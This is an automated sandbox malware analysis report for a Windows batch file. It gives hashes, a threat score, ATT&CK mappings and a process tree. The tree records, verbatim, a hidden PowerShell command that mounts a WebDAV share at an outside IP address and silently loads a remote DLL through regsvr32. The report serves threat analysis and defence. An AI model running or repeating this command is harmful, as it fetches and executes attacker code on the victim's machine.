083bb3b5d2b428b0c48d5ba9616fa51d19a5edbe5f344776a5bc2266ed5c61b9

Analysis

max time kernel
118s
max time network
123s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 09:16

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General

Target

31689286022091028782.bat
Size

3KB
MD5

8d47d023ea126d74d9d10ff711bfb807
SHA1

ac384f7d202f54844837de181f47f54edf46c1fa
SHA256

083bb3b5d2b428b0c48d5ba9616fa51d19a5edbe5f344776a5bc2266ed5c61b9
SHA512

8af5cacac6cfd05646410976a67a7c35ae4ce13ee0eef3d521ba3a3f8824b8c518aad32763899fdc5e7f30f68bb3775663175acfc702109faf3529be7c6d3ee4

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2060	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2060	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2060	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1768	wordpad.exe
1768	wordpad.exe
1768	wordpad.exe
1768	wordpad.exe
1768	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2516 wrote to memory of 1768	2516	cmd.exe	31
PID 2516 wrote to memory of 1768	2516	cmd.exe	31
PID 2516 wrote to memory of 1768	2516	cmd.exe	31
PID 2516 wrote to memory of 2060	2516	cmd.exe	32
PID 2516 wrote to memory of 2060	2516	cmd.exe	32
PID 2516 wrote to memory of 2060	2516	cmd.exe	32
PID 2060 wrote to memory of 2852	2060	powershell.exe	34
PID 2060 wrote to memory of 2852	2060	powershell.exe	34
PID 2060 wrote to memory of 2852	2060	powershell.exe	34
PID 2060 wrote to memory of 2728	2060	powershell.exe	35
PID 2060 wrote to memory of 2728	2060	powershell.exe	35
PID 2060 wrote to memory of 2728	2060	powershell.exe	35
PID 2060 wrote to memory of 2728	2060	powershell.exe	35
PID 2060 wrote to memory of 2728	2060	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\31689286022091028782.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2516
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\160551844320505.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2852
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\160551844320505.dll
    3⤵
    PID:2728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2060-23-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2060-24-0x00000000020C0000-0x00000000020C8000-memory.dmp

Filesize
32KB

Download